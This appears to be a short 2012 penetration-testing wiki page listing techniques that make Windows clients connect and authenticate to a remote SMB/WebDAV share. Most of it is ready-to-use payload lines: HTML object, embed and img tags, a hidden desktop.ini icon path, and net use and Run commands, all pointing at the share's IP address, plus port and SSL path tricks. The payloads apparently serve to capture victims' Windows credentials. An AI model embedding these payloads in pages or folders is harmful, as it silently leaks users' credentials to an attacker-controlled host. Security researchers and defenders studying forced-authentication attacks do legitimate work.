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Rob Fuller edited this page Aug 29, 2012 · 1 revision
  1. WebDAV
      1. Special note, I've only noticed automatic authentication when using hostnames instead of IP addresses
    1. Semi-Automatic (no code execution required)
      1. HTML - Object tag:
html <object data="\\\\172.16.10.207\\share1\\blah.png" type="image/jpeg"></object>
      1. HTML - Embed tag w/ Quicktime:
html <embed height="50" src="\\\\172.16.10.207\\share1\\test.m3u" type="video/quicktime" width="200" controller="true" autoplay="true" kioskmode="true">
      1. HTLM - Image tag:
html <img src="file:////172.16.10.207/share1/blah.png" width=0 height=0>
      1. desktop.ini hidden file with the following contents:
batch [.ShellClassInfo] IconResource=\\\\172.16.10.207\\share1\\blah.ico [ViewState] FolderType=Generic
      1. Shell:
net use \\\\172.16.10.207\\share1
    1. GUI:
Start->Run \\\\172.16.10.207\\share1

Open IE or explorer to http://172.16.20.207/DavWWWRoot/share1/

    • DavWWWRoot** is a special Shell designation that tells the OS to automatically use WebDAV instead of SMB.
    1. Special Notes
Windows Vista/7/2008 support PORT and SSL settings: \\\\172.16.10.207@SSL@443\\DavWWWRoot\\share1\\ or \\\\172.16.10.207@443\\DavWWWRoot\\share1\\ Windows XP supports port designations using a colon \\\\172.16.10.207:80\\share1\\

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